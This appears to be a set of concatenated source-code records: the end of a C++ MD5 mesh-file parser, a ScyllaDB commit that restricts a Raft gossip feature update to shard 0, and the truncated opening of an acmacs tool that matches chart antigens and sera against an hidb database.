&triangle.x, &triangle.y, &triangle.z) != 4)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tUnrecognizedLine(true);\n\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif (index != i)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tError(\"Unexpected triangle index (expected \" + std::to_string(i) + \", got \" + std::to_string(index) + ')');\n\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse if (std::sscanf(&m_currentLine[0], \"numverts %u\", &count) == 1)\n\t\t\t\t\t{\n\t\t\t\t\t\tm_meshes[m_meshIndex].vertices.resize(count);\n\t\t\t\t\t\tfor (unsigned int i = 0; i < count; ++i)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (!Advance())\n\t\t\t\t\t\t\t\treturn false;\n\n\t\t\t\t\t\t\tVertex& vertex = m_meshes[m_meshIndex].vertices[i];\n\t\t\t\t\t\t\tunsigned int index;\n\t\t\t\t\t\t\tif (std::sscanf(&m_currentLine[0], \"vert %u ( %f %f ) %u %u\", &index, &vertex.uv.x, &vertex.uv.y, &vertex.startWeight, &vertex.weightCount) != 5)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tUnrecognizedLine(true);\n\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif (index != i)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tError(\"Unexpected vertex index (expected \" + std::to_string(i) + \", got \" + std::to_string(index) + ')');\n\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse if (std::sscanf(&m_currentLine[0], \"numweights %u\", &count) == 1)\n\t\t\t\t\t{\n\t\t\t\t\t\tm_meshes[m_meshIndex].weights.resize(count);\n\t\t\t\t\t\tfor (unsigned int i = 0; i < count; ++i)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (!Advance())\n\t\t\t\t\t\t\t\treturn false;\n\n\t\t\t\t\t\t\tWeight& weight = m_meshes[m_meshIndex].weights[i];\n\t\t\t\t\t\t\tunsigned int index;\n\t\t\t\t\t\t\tif (std::sscanf(&m_currentLine[0], \"weight %u %u %f ( %f %f %f )\", &index, &weight.joint, &weight.bias,\n\t\t\t\t\t\t\t                                                                   &weight.pos.x, &weight.pos.y, &weight.pos.z) != 6)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tUnrecognizedLine(true);\n\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif (index != i)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tError(\"Unexpected weight index (expected \" + std::to_string(i) + \", got \" + std::to_string(index) + ')');\n\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t#if NAZARA_UTILITY_STRICT_RESOURCE_PARSING\n\t\t\t\t\telse\n\t\t\t\t\t\tUnrecognizedLine();\n\t\t\t\t\t#endif\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tdefault:\n\t\t\t\t\t#if NAZARA_UTILITY_STRICT_RESOURCE_PARSING\n\t\t\t\t\tUnrecognizedLine();\n\t\t\t\t\t#endif\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tif (m_meshes[m_meshIndex].triangles.empty())\n\t\t{\n\t\t\tNazaraError(\"Mesh has no triangles\");\n\t\t\treturn false;\n\t\t}\n\n\t\tif (m_meshes[m_meshIndex].vertices.empty())\n\t\t{\n\t\t\tNazaraError(\"Mesh has no vertices\");\n\t\t\treturn false;\n\t\t}\n\n\t\tif (m_meshes[m_meshIndex].weights.empty())\n\t\t{\n\t\t\tNazaraError(\"Mesh has no weights\");\n\t\t\treturn false;\n\t\t}\n\n\t\t#if NAZARA_UTILITY_STRICT_RESOURCE_PARSING\n\t\tif (!finished)\n\t\t\tWarning(\"Mesh braces closing not found\");\n\t\t#endif\n\n\t\treturn true;\n\t}\n\n\tvoid MD5MeshParser::Warning(const std::string& message)\n\t{\n\t\tNazaraWarning(message + \" at line #\" + std::to_string(m_lineCount));\n\t}\n\n\tvoid MD5MeshParser::UnrecognizedLine(bool error)\n\t{\n\t\tstd::string message = \"Unrecognized \\\"\" + m_currentLine + '\"';\n\n\t\tif (error)\n\t\t\tError(message);\n\t\telse\n\t\t\tWarning(message);\n}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2020-present ScyllaDB\n *\/\n\n\/*\n * SPDX-License-Identifier: AGPL-3.0-or-later\n *\/\n#include \"service\/raft\/raft_group_registry.hh\"\n#include \"service\/raft\/raft_rpc.hh\"\n#include \"service\/raft\/raft_gossip_failure_detector.hh\"\n#include \"message\/messaging_service.hh\"\n#include \"serializer_impl.hh\"\n#include \"idl\/raft.dist.hh\"\n#include \"gms\/feature_service.hh\"\n#include \"gms\/gossiper.hh\"\n\n#include <seastar\/core\/coroutine.hh>\n\nnamespace service {\n\nlogging::logger rslog(\"raft_group_registry\");\n\nraft_group_registry::raft_group_registry(bool is_enabled, netw::messaging_service& ms, gms::gossiper& gossiper, gms::feature_service& feat)\n    : _is_enabled(is_enabled)\n    , _ms(ms)\n    , _fd(make_shared<raft_gossip_failure_detector>(gossiper, _srv_address_mappings))\n    , _raft_support_listener(feat.cluster_supports_raft_cluster_mgmt().when_enabled([this, &feat, &gossiper] {\n        \/\/ If the `USES_RAFT_CLUSTER_MANAGEMENT` feature was already enabled, do nothing.\n        \/\/\n        \/\/ This can happen if the current node is either a fresh node in an empty cluster\n        \/\/ or a restarting node, which is already part of an existing group0.\n        if (!_is_enabled || feat.cluster_uses_raft_cluster_mgmt()) {\n            return;\n        }\n        \/\/ When the cluster fully supports raft-based cluster management,\n        \/\/ we can re-enable support for the second gossip feature to trigger\n        \/\/ actual use of raft-based cluster management procedures.\n        feat.support(gms::features::USES_RAFT_CLUSTER_MANAGEMENT).get();\n        \/\/ When the supported feature set is dynamically extended, re-advertise it through the gossip.\n        gossiper.add_local_application_state(gms::application_state::SUPPORTED_FEATURES,\n            gms::versioned_value::supported_features(feat.supported_feature_set())).get();\n    }))\n{\n}\n\nvoid raft_group_registry::init_rpc_verbs() {\n    auto handle_raft_rpc = [this] (\n            const rpc::client_info& cinfo,\n            const raft::group_id& gid, raft::server_id from, raft::server_id dst, auto handler) {\n        return container().invoke_on(shard_for_group(gid),\n                [addr = netw::messaging_service::get_source(cinfo).addr, from, dst, gid, handler] (raft_group_registry& self) mutable {\n            \/\/ Update the address mappings for the rpc module\n            \/\/ in case the sender is encountered for the first time\n            auto& rpc = self.get_rpc(gid);\n            \/\/ The address learnt from a probably unknown server should\n            \/\/ eventually expire\n            self._srv_address_mappings.set(from, std::move(addr), true);\n            \/\/ Execute the actual message handling code\n            return handler(rpc);\n        });\n    };\n\n    ser::raft_rpc_verbs::register_raft_send_snapshot(&_ms, [handle_raft_rpc] (const rpc::client_info& cinfo, rpc::opt_time_point timeout,\n            raft::group_id gid, raft::server_id from, raft::server_id dst, raft::install_snapshot snp) mutable {\n        return handle_raft_rpc(cinfo, gid, from, dst, [from, snp = std::move(snp)] (raft_rpc& rpc) mutable {\n            return rpc.apply_snapshot(std::move(from), std::move(snp));\n        });\n    });\n\n    ser::raft_rpc_verbs::register_raft_append_entries(&_ms, [handle_raft_rpc] (const rpc::client_info& cinfo, rpc::opt_time_point timeout,\n           raft::group_id gid, raft::server_id from, raft::server_id dst, raft::append_request append_request) mutable {\n        return handle_raft_rpc(cinfo, gid, from, dst, [from, append_request = std::move(append_request)] (raft_rpc& rpc) mutable {\n            rpc.append_entries(std::move(from), std::move(append_request));\n            return netw::messaging_service::no_wait();\n        });\n    });\n\n    ser::raft_rpc_verbs::register_raft_append_entries_reply(&_ms, [handle_raft_rpc] (const rpc::client_info& cinfo, rpc::opt_time_point timeout,\n            raft::group_id gid, raft::server_id from, raft::server_id dst, raft::append_reply reply) mutable {\n        return handle_raft_rpc(cinfo, gid, from, dst, [from, reply = std::move(reply)] (raft_rpc& rpc) mutable {\n            rpc.append_entries_reply(std::move(from), std::move(reply));\n            return netw::messaging_service::no_wait();\n        });\n    });\n\n    ser::raft_rpc_verbs::register_raft_vote_request(&_ms, [handle_raft_rpc] (const rpc::client_info& cinfo, rpc::opt_time_point timeout,\n            raft::group_id gid, raft::server_id from, raft::server_id dst, raft::vote_request vote_request) mutable {\n        return handle_raft_rpc(cinfo, gid, from, dst, [from, vote_request] (raft_rpc& rpc) mutable {\n            rpc.request_vote(std::move(from), std::move(vote_request));\n            return netw::messaging_service::no_wait();\n        });\n    });\n\n    ser::raft_rpc_verbs::register_raft_vote_reply(&_ms, [handle_raft_rpc] (const rpc::client_info& cinfo, rpc::opt_time_point timeout,\n            raft::group_id gid, raft::server_id from, raft::server_id dst, raft::vote_reply vote_reply) mutable {\n        return handle_raft_rpc(cinfo, gid, from, dst, [from, vote_reply] (raft_rpc& rpc) mutable {\n            rpc.request_vote_reply(std::move(from), std::move(vote_reply));\n            return netw::messaging_service::no_wait();\n        });\n    });\n\n    ser::raft_rpc_verbs::register_raft_timeout_now(&_ms, [handle_raft_rpc] (const rpc::client_info& cinfo, rpc::opt_time_point timeout,\n            raft::group_id gid, raft::server_id from, raft::server_id dst, raft::timeout_now timeout_now) mutable {\n        return handle_raft_rpc(cinfo, gid, from, dst, [from, timeout_now] (raft_rpc& rpc) mutable {\n            rpc.timeout_now_request(std::move(from), std::move(timeout_now));\n            return netw::messaging_service::no_wait();\n        });\n    });\n\n    ser::raft_rpc_verbs::register_raft_read_quorum(&_ms, [handle_raft_rpc] (const rpc::client_info& cinfo, rpc::opt_time_point timeout,\n            raft::group_id gid, raft::server_id from, raft::server_id dst, raft::read_quorum read_quorum) mutable {\n        return handle_raft_rpc(cinfo, gid, from, dst, [from, read_quorum] (raft_rpc& rpc) mutable {\n            rpc.read_quorum_request(std::move(from), std::move(read_quorum));\n            return netw::messaging_service::no_wait();\n        });\n    });\n\n    ser::raft_rpc_verbs::register_raft_read_quorum_reply(&_ms, [handle_raft_rpc] (const rpc::client_info& cinfo, rpc::opt_time_point timeout,\n            raft::group_id gid, raft::server_id from, raft::server_id dst, raft::read_quorum_reply read_quorum_reply) mutable {\n        return handle_raft_rpc(cinfo, gid, from, dst, [from, read_quorum_reply] (raft_rpc& rpc) mutable {\n            rpc.read_quorum_reply(std::move(from), std::move(read_quorum_reply));\n            return netw::messaging_service::no_wait();\n        });\n    });\n\n    ser::raft_rpc_verbs::register_raft_execute_read_barrier_on_leader(&_ms, [handle_raft_rpc] (const rpc::client_info& cinfo, rpc::opt_time_point timeout,\n            raft::group_id gid, raft::server_id from, raft::server_id dst) mutable {\n        return handle_raft_rpc(cinfo, gid, from, dst, [from] (raft_rpc& rpc) mutable {\n            return rpc.execute_read_barrier(from);\n        });\n    });\n\n    ser::raft_rpc_verbs::register_raft_add_entry(&_ms, [handle_raft_rpc] (const rpc::client_info& cinfo, rpc::opt_time_point timeout,\n            raft::group_id gid, raft::server_id from, raft::server_id dst, raft::command cmd) mutable {\n        return handle_raft_rpc(cinfo, gid, from, dst, [from, cmd = std::move(cmd)] (raft_rpc& rpc) mutable {\n            return rpc.execute_add_entry(from, std::move(cmd));\n        });\n    });\n\n    ser::raft_rpc_verbs::register_raft_modify_config(&_ms, [handle_raft_rpc] (const rpc::client_info& cinfo, rpc::opt_time_point timeout,\n            raft::group_id gid, raft::server_id from, raft::server_id dst,\n            std::vector<raft::server_address> add, std::vector<raft::server_id> del) mutable {\n        return handle_raft_rpc(cinfo, gid, from, dst,\n            [from, add = std::move(add), del = std::move(del)] (raft_rpc& rpc) mutable {\n\n            return rpc.execute_modify_config(from, std::move(add), std::move(del));\n        });\n    });\n}\n\nfuture<> raft_group_registry::uninit_rpc_verbs() {\n    return when_all_succeed(\n        ser::raft_rpc_verbs::unregister_raft_send_snapshot(&_ms),\n        ser::raft_rpc_verbs::unregister_raft_append_entries(&_ms),\n        ser::raft_rpc_verbs::unregister_raft_append_entries_reply(&_ms),\n        ser::raft_rpc_verbs::unregister_raft_vote_request(&_ms),\n        ser::raft_rpc_verbs::unregister_raft_vote_reply(&_ms),\n        ser::raft_rpc_verbs::unregister_raft_timeout_now(&_ms),\n        ser::raft_rpc_verbs::unregister_raft_read_quorum(&_ms),\n        ser::raft_rpc_verbs::unregister_raft_read_quorum_reply(&_ms),\n        ser::raft_rpc_verbs::unregister_raft_execute_read_barrier_on_leader(&_ms),\n        ser::raft_rpc_verbs::unregister_raft_add_entry(&_ms),\n        ser::raft_rpc_verbs::unregister_raft_modify_config(&_ms)\n    ).discard_result();\n}\n\nfuture<> raft_group_registry::stop_servers() noexcept {\n    gate g;\n    for (auto it = _servers.begin(); it != _servers.end(); it = _servers.erase(it)) {\n        auto abort_server = it->second.server->abort();\n        \/\/ discarded future is waited via g.close()\n        (void)std::move(abort_server).handle_exception([rsfg = std::move(it->second), gh = g.hold()] (std::exception_ptr ex) {\n            rslog.warn(\"Failed to abort raft group server {}: {}\", rsfg.gid, ex);\n        });\n    }\n    co_await g.close();\n}\n\nseastar::future<> raft_group_registry::start() {\n    if (!_is_enabled) {\n        co_return;\n    }\n    \/\/ Once a Raft server starts, it soon times out\n    \/\/ and starts an election, so RPC must be ready by\n    \/\/ then to send VoteRequest messages.\n    co_return init_rpc_verbs();\n}\n\nseastar::future<> raft_group_registry::stop() {\n    if (!_is_enabled) {\n        co_return;\n    }\n    co_await drain_on_shutdown();\n    co_await uninit_rpc_verbs();\n}\n\nseastar::future<> raft_group_registry::drain_on_shutdown() noexcept {\n    return stop_servers();\n}\n\nraft_server_for_group& raft_group_registry::server_for_group(raft::group_id gid) {\n    auto it = _servers.find(gid);\n    if (it == _servers.end()) {\n        throw raft_group_not_found(gid);\n    }\n    return it->second;\n}\n\nraft_rpc& raft_group_registry::get_rpc(raft::group_id gid) {\n    return server_for_group(gid).rpc;\n}\n\nraft::server& raft_group_registry::get_server(raft::group_id gid) {\n    return *(server_for_group(gid).server);\n}\n\nraft::server& raft_group_registry::group0() {\n    return *(server_for_group(*_group0_id).server);\n}\n\nfuture<> raft_group_registry::start_server_for_group(raft_server_for_group new_grp) {\n    auto gid = new_grp.gid;\n\n    if (_servers.contains(gid)) {\n        on_internal_error(rslog, format(\"Attempt to add the second instance of raft server with the same gid={}\", gid));\n    }\n\n    try {\n        \/\/ start the server instance prior to arming the ticker timer.\n        \/\/ By the time the tick() is executed the server should already be initialized.\n        co_await new_grp.server->start();\n        new_grp.server->register_metrics();\n    } catch (...) {\n        on_internal_error(rslog, std::current_exception());\n    }\n\n    std::exception_ptr ex;\n    raft::server& server = *new_grp.server;\n\n    try {\n        auto [it, inserted] = _servers.emplace(std::move(gid), std::move(new_grp));\n\n        if (_servers.size() == 1 && this_shard_id() == 0) {\n            _group0_id = gid;\n        }\n\n        it->second.ticker->arm_periodic(raft_tick_interval);\n    } catch (...) {\n        ex = std::current_exception();\n    }\n\n    if (ex) {\n        co_await server.abort();\n        std::rethrow_exception(ex);\n    }\n}\n\nunsigned raft_group_registry::shard_for_group(const raft::group_id& gid) const {\n    return 0; \/\/ schema raft server is always owned by shard 0\n}\n\n} \/\/ end of namespace service\n<commit_msg>raft_group_registry: update gossiper state only on shard 0<commit_after>\/*\n * Copyright (C) 2020-present ScyllaDB\n *\/\n\n\/*\n * SPDX-License-Identifier: AGPL-3.0-or-later\n *\/\n#include \"service\/raft\/raft_group_registry.hh\"\n#include \"service\/raft\/raft_rpc.hh\"\n#include \"service\/raft\/raft_gossip_failure_detector.hh\"\n#include \"message\/messaging_service.hh\"\n#include \"serializer_impl.hh\"\n#include \"idl\/raft.dist.hh\"\n#include \"gms\/feature_service.hh\"\n#include \"gms\/gossiper.hh\"\n\n#include <seastar\/core\/coroutine.hh>\n\nnamespace service {\n\nlogging::logger rslog(\"raft_group_registry\");\n\nraft_group_registry::raft_group_registry(bool is_enabled, netw::messaging_service& ms, gms::gossiper& gossiper, gms::feature_service& feat)\n    : _is_enabled(is_enabled)\n    , _ms(ms)\n    , _fd(make_shared<raft_gossip_failure_detector>(gossiper, _srv_address_mappings))\n    , _raft_support_listener(feat.cluster_supports_raft_cluster_mgmt().when_enabled([this, &feat, &gossiper] {\n        \/\/ If the `USES_RAFT_CLUSTER_MANAGEMENT` feature was already enabled, do nothing.\n        \/\/\n        \/\/ This can happen if the current node is either a fresh node in an empty cluster\n        \/\/ or a restarting node, which is already part of an existing group0.\n        if (!_is_enabled || feat.cluster_uses_raft_cluster_mgmt()) {\n            return;\n        }\n        \/\/ When the cluster fully supports raft-based cluster management,\n        \/\/ we can re-enable support for the second gossip feature to trigger\n        \/\/ actual use of raft-based cluster management procedures.\n        feat.support(gms::features::USES_RAFT_CLUSTER_MANAGEMENT).get();\n        if (this_shard_id() == 0) {\n            \/\/ When the supported feature set is dynamically extended, re-advertise it through the gossip.\n            gossiper.add_local_application_state(gms::application_state::SUPPORTED_FEATURES,\n                gms::versioned_value::supported_features(feat.supported_feature_set())).get();\n        }\n    }))\n{\n}\n\nvoid raft_group_registry::init_rpc_verbs() {\n    auto handle_raft_rpc = [this] (\n            const rpc::client_info& cinfo,\n            const raft::group_id& gid, raft::server_id from, raft::server_id dst, auto handler) {\n        return container().invoke_on(shard_for_group(gid),\n                [addr = netw::messaging_service::get_source(cinfo).addr, from, dst, gid, handler] (raft_group_registry& self) mutable {\n            \/\/ Update the address mappings for the rpc module\n            \/\/ in case the sender is encountered for the first time\n            auto& rpc = self.get_rpc(gid);\n            \/\/ The address learnt from a probably unknown server should\n            \/\/ eventually expire\n            self._srv_address_mappings.set(from, std::move(addr), true);\n            \/\/ Execute the actual message handling code\n            return handler(rpc);\n        });\n    };\n\n    ser::raft_rpc_verbs::register_raft_send_snapshot(&_ms, [handle_raft_rpc] (const rpc::client_info& cinfo, rpc::opt_time_point timeout,\n            raft::group_id gid, raft::server_id from, raft::server_id dst, raft::install_snapshot snp) mutable {\n        return handle_raft_rpc(cinfo, gid, from, dst, [from, snp = std::move(snp)] (raft_rpc& rpc) mutable {\n            return rpc.apply_snapshot(std::move(from), std::move(snp));\n        });\n    });\n\n    ser::raft_rpc_verbs::register_raft_append_entries(&_ms, [handle_raft_rpc] (const rpc::client_info& cinfo, rpc::opt_time_point timeout,\n           raft::group_id gid, raft::server_id from, raft::server_id dst, raft::append_request append_request) mutable {\n        return handle_raft_rpc(cinfo, gid, from, dst, [from, append_request = std::move(append_request)] (raft_rpc& rpc) mutable {\n            rpc.append_entries(std::move(from), std::move(append_request));\n            return netw::messaging_service::no_wait();\n        });\n    });\n\n    ser::raft_rpc_verbs::register_raft_append_entries_reply(&_ms, [handle_raft_rpc] (const rpc::client_info& cinfo, rpc::opt_time_point timeout,\n            raft::group_id gid, raft::server_id from, raft::server_id dst, raft::append_reply reply) mutable {\n        return handle_raft_rpc(cinfo, gid, from, dst, [from, reply = std::move(reply)] (raft_rpc& rpc) mutable {\n            rpc.append_entries_reply(std::move(from), std::move(reply));\n            return netw::messaging_service::no_wait();\n        });\n    });\n\n    ser::raft_rpc_verbs::register_raft_vote_request(&_ms, [handle_raft_rpc] (const rpc::client_info& cinfo, rpc::opt_time_point timeout,\n            raft::group_id gid, raft::server_id from, raft::server_id dst, raft::vote_request vote_request) mutable {\n        return handle_raft_rpc(cinfo, gid, from, dst, [from, vote_request] (raft_rpc& rpc) mutable {\n            rpc.request_vote(std::move(from), std::move(vote_request));\n            return netw::messaging_service::no_wait();\n        });\n    });\n\n    ser::raft_rpc_verbs::register_raft_vote_reply(&_ms, [handle_raft_rpc] (const rpc::client_info& cinfo, rpc::opt_time_point timeout,\n            raft::group_id gid, raft::server_id from, raft::server_id dst, raft::vote_reply vote_reply) mutable {\n        return handle_raft_rpc(cinfo, gid, from, dst, [from, vote_reply] (raft_rpc& rpc) mutable {\n            rpc.request_vote_reply(std::move(from), std::move(vote_reply));\n            return netw::messaging_service::no_wait();\n        });\n    });\n\n    ser::raft_rpc_verbs::register_raft_timeout_now(&_ms, [handle_raft_rpc] (const rpc::client_info& cinfo, rpc::opt_time_point timeout,\n            raft::group_id gid, raft::server_id from, raft::server_id dst, raft::timeout_now timeout_now) mutable {\n        return handle_raft_rpc(cinfo, gid, from, dst, [from, timeout_now] (raft_rpc& rpc) mutable {\n            rpc.timeout_now_request(std::move(from), std::move(timeout_now));\n            return netw::messaging_service::no_wait();\n        });\n    });\n\n    ser::raft_rpc_verbs::register_raft_read_quorum(&_ms, [handle_raft_rpc] (const rpc::client_info& cinfo, rpc::opt_time_point timeout,\n            raft::group_id gid, raft::server_id from, raft::server_id dst, raft::read_quorum read_quorum) mutable {\n        return handle_raft_rpc(cinfo, gid, from, dst, [from, read_quorum] (raft_rpc& rpc) mutable {\n            rpc.read_quorum_request(std::move(from), std::move(read_quorum));\n            return netw::messaging_service::no_wait();\n        });\n    });\n\n    ser::raft_rpc_verbs::register_raft_read_quorum_reply(&_ms, [handle_raft_rpc] (const rpc::client_info& cinfo, rpc::opt_time_point timeout,\n            raft::group_id gid, raft::server_id from, raft::server_id dst, raft::read_quorum_reply read_quorum_reply) mutable {\n        return handle_raft_rpc(cinfo, gid, from, dst, [from, read_quorum_reply] (raft_rpc& rpc) mutable {\n            rpc.read_quorum_reply(std::move(from), std::move(read_quorum_reply));\n            return netw::messaging_service::no_wait();\n        });\n    });\n\n    ser::raft_rpc_verbs::register_raft_execute_read_barrier_on_leader(&_ms, [handle_raft_rpc] (const rpc::client_info& cinfo, rpc::opt_time_point timeout,\n            raft::group_id gid, raft::server_id from, raft::server_id dst) mutable {\n        return handle_raft_rpc(cinfo, gid, from, dst, [from] (raft_rpc& rpc) mutable {\n            return rpc.execute_read_barrier(from);\n        });\n    });\n\n    ser::raft_rpc_verbs::register_raft_add_entry(&_ms, [handle_raft_rpc] (const rpc::client_info& cinfo, rpc::opt_time_point timeout,\n            raft::group_id gid, raft::server_id from, raft::server_id dst, raft::command cmd) mutable {\n        return handle_raft_rpc(cinfo, gid, from, dst, [from, cmd = std::move(cmd)] (raft_rpc& rpc) mutable {\n            return rpc.execute_add_entry(from, std::move(cmd));\n        });\n    });\n\n    ser::raft_rpc_verbs::register_raft_modify_config(&_ms, [handle_raft_rpc] (const rpc::client_info& cinfo, rpc::opt_time_point timeout,\n            raft::group_id gid, raft::server_id from, raft::server_id dst,\n            std::vector<raft::server_address> add, std::vector<raft::server_id> del) mutable {\n        return handle_raft_rpc(cinfo, gid, from, dst,\n            [from, add = std::move(add), del = std::move(del)] (raft_rpc& rpc) mutable {\n\n            return rpc.execute_modify_config(from, std::move(add), std::move(del));\n        });\n    });\n}\n\nfuture<> raft_group_registry::uninit_rpc_verbs() {\n    return when_all_succeed(\n        ser::raft_rpc_verbs::unregister_raft_send_snapshot(&_ms),\n        ser::raft_rpc_verbs::unregister_raft_append_entries(&_ms),\n        ser::raft_rpc_verbs::unregister_raft_append_entries_reply(&_ms),\n        ser::raft_rpc_verbs::unregister_raft_vote_request(&_ms),\n        ser::raft_rpc_verbs::unregister_raft_vote_reply(&_ms),\n        ser::raft_rpc_verbs::unregister_raft_timeout_now(&_ms),\n        ser::raft_rpc_verbs::unregister_raft_read_quorum(&_ms),\n        ser::raft_rpc_verbs::unregister_raft_read_quorum_reply(&_ms),\n        ser::raft_rpc_verbs::unregister_raft_execute_read_barrier_on_leader(&_ms),\n        ser::raft_rpc_verbs::unregister_raft_add_entry(&_ms),\n        ser::raft_rpc_verbs::unregister_raft_modify_config(&_ms)\n    ).discard_result();\n}\n\nfuture<> raft_group_registry::stop_servers() noexcept {\n    gate g;\n    for (auto it = _servers.begin(); it != _servers.end(); it = _servers.erase(it)) {\n        auto abort_server = it->second.server->abort();\n        \/\/ discarded future is waited via g.close()\n        (void)std::move(abort_server).handle_exception([rsfg = std::move(it->second), gh = g.hold()] (std::exception_ptr ex) {\n            rslog.warn(\"Failed to abort raft group server {}: {}\", rsfg.gid, ex);\n        });\n    }\n    co_await g.close();\n}\n\nseastar::future<> raft_group_registry::start() {\n    if (!_is_enabled) {\n        co_return;\n    }\n    \/\/ Once a Raft server starts, it soon times out\n    \/\/ and starts an election, so RPC must be ready by\n    \/\/ then to send VoteRequest messages.\n    co_return init_rpc_verbs();\n}\n\nseastar::future<> raft_group_registry::stop() {\n    if (!_is_enabled) {\n        co_return;\n    }\n    co_await drain_on_shutdown();\n    co_await uninit_rpc_verbs();\n}\n\nseastar::future<> raft_group_registry::drain_on_shutdown() noexcept {\n    return stop_servers();\n}\n\nraft_server_for_group& raft_group_registry::server_for_group(raft::group_id gid) {\n    auto it = _servers.find(gid);\n    if (it == _servers.end()) {\n        throw raft_group_not_found(gid);\n    }\n    return it->second;\n}\n\nraft_rpc& raft_group_registry::get_rpc(raft::group_id gid) {\n    return server_for_group(gid).rpc;\n}\n\nraft::server& raft_group_registry::get_server(raft::group_id gid) {\n    return *(server_for_group(gid).server);\n}\n\nraft::server& raft_group_registry::group0() {\n    return *(server_for_group(*_group0_id).server);\n}\n\nfuture<> raft_group_registry::start_server_for_group(raft_server_for_group new_grp) {\n    auto gid = new_grp.gid;\n\n    if (_servers.contains(gid)) {\n        on_internal_error(rslog, format(\"Attempt to add the second instance of raft server with the same gid={}\", gid));\n    }\n\n    try {\n        \/\/ start the server instance prior to arming the ticker timer.\n        \/\/ By the time the tick() is executed the server should already be initialized.\n        co_await new_grp.server->start();\n        new_grp.server->register_metrics();\n    } catch (...) {\n        on_internal_error(rslog, std::current_exception());\n    }\n\n    std::exception_ptr ex;\n    raft::server& server = *new_grp.server;\n\n    try {\n        auto [it, inserted] = _servers.emplace(std::move(gid), std::move(new_grp));\n\n        if (_servers.size() == 1 && this_shard_id() == 0) {\n            _group0_id = gid;\n        }\n\n        it->second.ticker->arm_periodic(raft_tick_interval);\n    } catch (...) {\n        ex = std::current_exception();\n    }\n\n    if (ex) {\n        co_await server.abort();\n        std::rethrow_exception(ex);\n    }\n}\n\nunsigned raft_group_registry::shard_for_group(const raft::group_id& gid) const {\n    return 0; \/\/ schema raft server is always owned by shard 0\n}\n\n} \/\/ end of namespace service\n<|endoftext|>"}
{"text":"<commit_before>#include \"acmacs-base\/argv.hh\"\n\/\/ #include \"acmacs-base\/range-v3.hh\"\n#include \"acmacs-base\/enumerate.hh\"\n#include \"acmacs-base\/string-join.hh\"\n#include \"acmacs-chart-2\/factory-import.hh\"\n#include \"acmacs-chart-2\/chart.hh\"\n#include \"hidb-5\/hidb-set.hh\"\n#include \"hidb-5\/hidb.hh\"\n#include \"acmacs-whocc\/log.hh\"\n\n\/\/ ----------------------------------------------------------------------\n\nusing namespace acmacs::argv;\nstruct Options : public argv\n{\n    Options(int a_argc, const char* const a_argv[], on_error on_err = on_error::exit) : argv() { parse(a_argc, a_argv, on_err); }\n\n    option<str_array> verbose{*this, 'v', \"verbose\", desc{\"comma separated list (or multiple switches) of log enablers\"}};\n\n    argument<str_array> tables{*this, arg_name{\".ace\"}, mandatory};\n};\n\nint main(int argc, char* const argv[])\n{\n    using namespace std::string_view_literals;\n    int exit_code = 0;\n    try {\n        Options opt(argc, argv);\n        acmacs::log::enable(opt.verbose);\n\n        const auto show_matches = [](const auto& hidb, const auto& hidb_ag_sr, size_t no, const auto& ag_sr) {\n            const auto make_field = [](const auto& value, const auto& to_compare) {\n                if (!value.empty() && value == to_compare)\n                    return fmt::format(\"<{}>\", value);\n                else\n                    return fmt::format(\"{}\", value);\n            };\n\n            constexpr auto is_antigen = std::is_same_v<std::decay_t<decltype(ag_sr)>, acmacs::chart::Antigen>;\n            const auto full_name = ag_sr.full_name();\n            const auto reassortant = ag_sr.reassortant();\n            const auto annotations = acmacs::string::join(acmacs::string::join_space, ag_sr.annotations());\n            if constexpr (is_antigen)\n                fmt::print(\"AG\");\n            else\n                fmt::print(\"SR\");\n            fmt::print(\"{:3d} \\\"{}\\\"\\n\", no, full_name);\n\n            std::vector<std::pair<std::string, fmt::memory_buffer>> hidb_variants;\n            bool full_name_match_present{false};\n            for (const auto& [hidb_antigen, hidb_index] : hidb_ag_sr) {\n                std::string hidb_full_name;\n                if constexpr (is_antigen)\n                    hidb_full_name = acmacs::string::join(acmacs::string::join_space, hidb_antigen->name(), acmacs::string::join(acmacs::string::join_space, hidb_antigen->annotations()),\n                                                          hidb_antigen->reassortant(), hidb_antigen->passage());\n                else\n                    hidb_full_name = acmacs::string::join(acmacs::string::join_space, hidb_antigen->name(), acmacs::string::join(acmacs::string::join_space, hidb_antigen->annotations()),\n                                                          hidb_antigen->reassortant(), hidb_antigen->serum_id());\n                full_name_match_present |= hidb_full_name == full_name;\n                auto& variant = hidb_variants.emplace_back(std::move(hidb_full_name), fmt::memory_buffer{});\n                \/\/ mark matching matching annotations, reassortant, passage, serum_id\n                if constexpr (is_antigen)\n                    fmt::format_to(variant.second, \"{}\",\n                                   acmacs::string::join(acmacs::string::join_space,\n                                                        \/* hidb_antigen->name(), *\/ make_field(acmacs::string::join(acmacs::string::join_space, hidb_antigen->annotations()), annotations),\n                                                        make_field(hidb_antigen->reassortant(), reassortant), make_field(hidb_antigen->passage(), ag_sr.passage())));\n                else\n                    fmt::format_to(variant.second, \"{}\",\n                                   acmacs::string::join(acmacs::string::join_space,\n                                                        \/* hidb_antigen->name(), *\/ make_field(acmacs::string::join(acmacs::string::join_space, hidb_antigen->annotations()), annotations),\n                                                        make_field(hidb_antigen->reassortant(), reassortant), make_field(hidb_antigen->serum_id(), 